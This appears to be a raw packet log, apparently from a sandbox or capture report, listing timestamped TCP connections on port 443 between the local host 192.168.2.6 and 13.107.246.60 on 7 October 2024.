Oct 7, 2024 03:16:12.822455883 CEST	49725	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.822470903 CEST	443	49725	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.834856033 CEST	443	49724	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.835212946 CEST	49724	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.835236073 CEST	443	49724	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.835742950 CEST	49724	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.835750103 CEST	443	49724	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.836275101 CEST	443	49726	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.836673975 CEST	49726	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.836689949 CEST	443	49726	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.837182999 CEST	49726	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.837193012 CEST	443	49726	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.870959044 CEST	443	49727	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.871575117 CEST	49727	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.871583939 CEST	443	49727	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.871962070 CEST	49727	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.871965885 CEST	443	49727	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.919734955 CEST	443	49725	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.919787884 CEST	443	49725	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.919858932 CEST	49725	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.920144081 CEST	49725	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.920192003 CEST	443	49725	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.920290947 CEST	49725	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.920305967 CEST	443	49725	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.922653913 CEST	49729	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.922704935 CEST	443	49729	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.922781944 CEST	49729	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.922920942 CEST	49729	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.922935963 CEST	443	49729	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.933073044 CEST	443	49724	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.933207035 CEST	443	49724	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.933268070 CEST	49724	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.933295965 CEST	49724	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.933320045 CEST	443	49724	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.933331013 CEST	49724	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.933336020 CEST	443	49724	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.935292006 CEST	49730	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.935307026 CEST	443	49730	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.935389042 CEST	49730	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.935499907 CEST	49730	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.935511112 CEST	443	49730	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.935779095 CEST	443	49726	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.935908079 CEST	443	49726	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.935971022 CEST	49726	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.936011076 CEST	49726	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.936011076 CEST	49726	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.936029911 CEST	443	49726	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.936050892 CEST	443	49726	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.937974930 CEST	49731	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.938021898 CEST	443	49731	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.938096046 CEST	49731	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.938226938 CEST	49731	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.938246012 CEST	443	49731	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.969202042 CEST	443	49727	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.969346046 CEST	443	49728	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.969350100 CEST	443	49727	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.969425917 CEST	49727	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.969484091 CEST	49727	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.969492912 CEST	443	49727	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.969501019 CEST	49727	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.969505072 CEST	443	49727	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.969647884 CEST	49728	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.969660044 CEST	443	49728	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.970071077 CEST	49728	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.970079899 CEST	443	49728	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.971412897 CEST	49732	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.971437931 CEST	443	49732	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:12.971518993 CEST	49732	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.971645117 CEST	49732	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:12.971656084 CEST	443	49732	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.071443081 CEST	443	49728	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.071598053 CEST	443	49728	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.071682930 CEST	49728	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.071913958 CEST	49728	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.071934938 CEST	443	49728	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.071971893 CEST	49728	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.071980000 CEST	443	49728	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.074709892 CEST	49733	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.074753046 CEST	443	49733	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.074830055 CEST	49733	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.074963093 CEST	49733	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.074970007 CEST	443	49733	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.569500923 CEST	443	49729	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.570053101 CEST	49729	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.570075035 CEST	443	49729	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.570511103 CEST	49729	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.570514917 CEST	443	49729	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.576886892 CEST	443	49731	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.577224016 CEST	49731	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.577253103 CEST	443	49731	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.577604055 CEST	49731	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.577614069 CEST	443	49731	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.610115051 CEST	443	49730	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.610558987 CEST	49730	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.610578060 CEST	443	49730	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.610981941 CEST	49730	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.610985994 CEST	443	49730	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.612654924 CEST	443	49732	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.612991095 CEST	49732	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.613018036 CEST	443	49732	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.613230944 CEST	49732	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.613238096 CEST	443	49732	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.670794010 CEST	443	49729	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.670871973 CEST	443	49729	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.670929909 CEST	49729	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.671143055 CEST	49729	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.671164989 CEST	443	49729	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.671178102 CEST	49729	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.671184063 CEST	443	49729	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.673655987 CEST	49734	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.673710108 CEST	443	49734	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.673789024 CEST	49734	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.673917055 CEST	49734	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.673933983 CEST	443	49734	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.679085970 CEST	443	49731	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.679250002 CEST	443	49731	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.679507017 CEST	49731	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.679563046 CEST	49731	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.679580927 CEST	443	49731	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.679590940 CEST	49731	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.679595947 CEST	443	49731	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.681570053 CEST	49735	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.681613922 CEST	443	49735	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.681683064 CEST	49735	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.681811094 CEST	49735	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.681828022 CEST	443	49735	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.711954117 CEST	443	49732	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.712055922 CEST	443	49732	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.712129116 CEST	49732	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.712227106 CEST	49732	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.712245941 CEST	443	49732	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.712275982 CEST	49732	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.712281942 CEST	443	49732	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.714695930 CEST	443	49730	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.714832067 CEST	443	49730	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.714904070 CEST	49730	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.721252918 CEST	443	49733	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.722162008 CEST	49730	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.722183943 CEST	443	49730	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.722250938 CEST	49730	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.722259998 CEST	443	49730	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.722703934 CEST	49736	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.722740889 CEST	443	49736	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.722807884 CEST	49736	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.723118067 CEST	49733	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.723144054 CEST	443	49733	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.723495007 CEST	49736	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.723507881 CEST	443	49736	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.723541021 CEST	49733	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.723546028 CEST	443	49733	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.724797010 CEST	49737	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.724884033 CEST	443	49737	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.724955082 CEST	49737	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.725106955 CEST	49737	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.725142956 CEST	443	49737	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.822616100 CEST	443	49733	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.822686911 CEST	443	49733	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.825309038 CEST	49733	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.825309038 CEST	49733	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.825309038 CEST	49733	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.825320959 CEST	49739	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.825366020 CEST	443	49739	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:13.825455904 CEST	49739	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.825673103 CEST	49739	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:13.825685978 CEST	443	49739	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.133632898 CEST	49733	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.133696079 CEST	443	49733	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.351692915 CEST	443	49734	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.352229118 CEST	49734	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.352307081 CEST	443	49734	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.352883101 CEST	49734	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.352897882 CEST	443	49734	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.362072945 CEST	443	49735	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.362443924 CEST	49735	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.362466097 CEST	443	49735	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.362656116 CEST	443	49736	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.362854958 CEST	49735	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.362862110 CEST	443	49735	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.362929106 CEST	49736	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.362947941 CEST	443	49736	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.363333941 CEST	49736	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.363339901 CEST	443	49736	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.368980885 CEST	443	49737	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.369388103 CEST	49737	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.369441986 CEST	443	49737	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.369782925 CEST	49737	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.369796991 CEST	443	49737	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.456525087 CEST	443	49734	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.456608057 CEST	443	49734	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.456672907 CEST	49734	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.456801891 CEST	49734	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.456826925 CEST	443	49734	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.456840038 CEST	49734	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.456845045 CEST	443	49734	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.459347010 CEST	49740	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.459460020 CEST	443	49740	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.459564924 CEST	49740	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.459698915 CEST	49740	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.459733963 CEST	443	49740	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.460426092 CEST	443	49736	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.460588932 CEST	443	49736	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.460676908 CEST	49736	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.460676908 CEST	49736	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.460721016 CEST	49736	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.460736990 CEST	443	49736	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.462874889 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.462928057 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.463040113 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.463165045 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.463184118 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.466795921 CEST	443	49735	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.466871977 CEST	443	49735	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.466917038 CEST	49735	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.466991901 CEST	49735	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.467004061 CEST	443	49735	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.467019081 CEST	49735	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.467025995 CEST	443	49735	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.467339039 CEST	443	49737	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.467417002 CEST	443	49737	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.467472076 CEST	49737	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.467597961 CEST	49737	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.467597961 CEST	49737	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.467643023 CEST	443	49737	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.467669964 CEST	443	49737	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.469376087 CEST	49742	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.469409943 CEST	443	49742	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.469463110 CEST	49742	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.469619989 CEST	49742	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.469638109 CEST	443	49742	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.469926119 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.469950914 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.470022917 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.470062017 CEST	443	49739	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.470109940 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.470134974 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.470321894 CEST	49739	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.470343113 CEST	443	49739	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.470707893 CEST	49739	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.470712900 CEST	443	49739	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.573409081 CEST	443	49739	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.573501110 CEST	443	49739	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.573554993 CEST	49739	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.573697090 CEST	49739	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.573709965 CEST	443	49739	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.573729992 CEST	49739	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.573734999 CEST	443	49739	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.576080084 CEST	49744	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.576149940 CEST	443	49744	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:14.576230049 CEST	49744	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.576368093 CEST	49744	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:14.576395988 CEST	443	49744	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.094047070 CEST	443	49740	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.102037907 CEST	49740	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.102081060 CEST	443	49740	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.104023933 CEST	49740	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.104033947 CEST	443	49740	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.105716944 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.105729103 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.106278896 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.106329918 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.114356995 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.114389896 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.115086079 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.115099907 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.115463972 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.115468025 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.129527092 CEST	443	49742	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.129967928 CEST	49742	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.129993916 CEST	443	49742	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.130394936 CEST	49742	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.130402088 CEST	443	49742	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.199281931 CEST	443	49740	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.199367046 CEST	443	49740	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.199448109 CEST	49740	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.199584007 CEST	49740	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.199636936 CEST	443	49740	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.199667931 CEST	49740	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.199685097 CEST	443	49740	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.202332020 CEST	49745	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.202380896 CEST	443	49745	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.202451944 CEST	49745	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.202611923 CEST	49745	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.202631950 CEST	443	49745	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.210911036 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.211065054 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.211127043 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.211160898 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.211179018 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.211189032 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.211194038 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.211406946 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.211478949 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.211533070 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.211729050 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.211743116 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.211769104 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.211781025 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.215636015 CEST	49746	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.215652943 CEST	443	49746	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.215718031 CEST	49746	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.215842962 CEST	49746	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.215862036 CEST	443	49746	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.216265917 CEST	49747	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.216320992 CEST	443	49747	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.216382980 CEST	49747	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.216497898 CEST	49747	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.216514111 CEST	443	49747	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.232259035 CEST	443	49742	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.232426882 CEST	443	49742	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.232477903 CEST	49742	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.232510090 CEST	49742	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.232525110 CEST	443	49742	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.232537031 CEST	49742	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.232542992 CEST	443	49742	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.234525919 CEST	49748	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.234554052 CEST	443	49748	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.234607935 CEST	49748	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.234735012 CEST	49748	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.234746933 CEST	443	49748	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.250133991 CEST	443	49744	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.250473976 CEST	49744	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.250494003 CEST	443	49744	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.250893116 CEST	49744	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.250899076 CEST	443	49744	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.354492903 CEST	443	49744	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.354574919 CEST	443	49744	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.354635000 CEST	49744	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.354815006 CEST	49744	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.354831934 CEST	443	49744	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.354846001 CEST	49744	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.354852915 CEST	443	49744	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.357255936 CEST	49749	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.357285023 CEST	443	49749	13.107.246.60	192.168.2.6
